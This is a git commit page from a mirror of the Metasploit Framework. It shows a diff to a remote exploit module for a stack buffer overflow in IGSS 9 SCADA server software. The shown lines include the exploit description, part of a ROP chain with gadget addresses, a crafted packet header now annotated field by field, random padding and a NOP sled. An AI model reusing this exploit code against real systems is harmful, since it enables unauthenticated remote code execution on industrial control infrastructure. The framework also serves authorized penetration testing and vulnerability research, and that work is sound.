infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Updated description, documented packet header a bit 

git-svn-id: file:///home/svn/framework3/trunk@12774 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Wei Chen 2011-05-30 21:17:35 +00:00
parent b950219b0d
commit 396e476a03
1 changed files with 10 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
modules/exploits/windows/scada/igss9_igssdataserver_listall.rb
View File

@ -25,7 +25,8 @@ class Metasploit3 < Msf::Exploit::Remote
IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application IGSS up to version 9.00.00 b11063. While processing a ListAll command, the application
fails to do proper bounds checking before copying data into a small buffer on the stack. fails to do proper bounds checking before copying data into a small buffer on the stack.
This causes a buffer overflow and allows to overwrite a structured exception handling record This causes a buffer overflow and allows to overwrite a structured exception handling record
on the stack, allowing for unauthenticated remote code execution. on the stack, allowing for unauthenticated remote code execution. Also, after the payload
exits, IGSSdataServer.exe should automatically recover.
}, },
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Version' => '$Revision$', 'Version' => '$Revision$',
@ -146,7 +147,14 @@ class Metasploit3 < Msf::Exploit::Remote
0x1b764716, # PUSHAD # RETN 0x1b764716, # PUSHAD # RETN
].pack('V*') ].pack('V*')
header = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00" header = "\x00\x04" #Size
header << "\x01\x00\x34\x12"
header << "\x0D" #Opcode
header << "\x00\x00\x00\x00\x00\x00\x00"
header << "\x01" #Flag
header << "\x00\x00\x00"
header << "\x01" #Command (ListAll)
header << "\x00\x00\x00"
header << rand_text(14) header << rand_text(14)
sploit = rop_chain sploit = rop_chain
sploit << "\x90" * 10 sploit << "\x90" * 10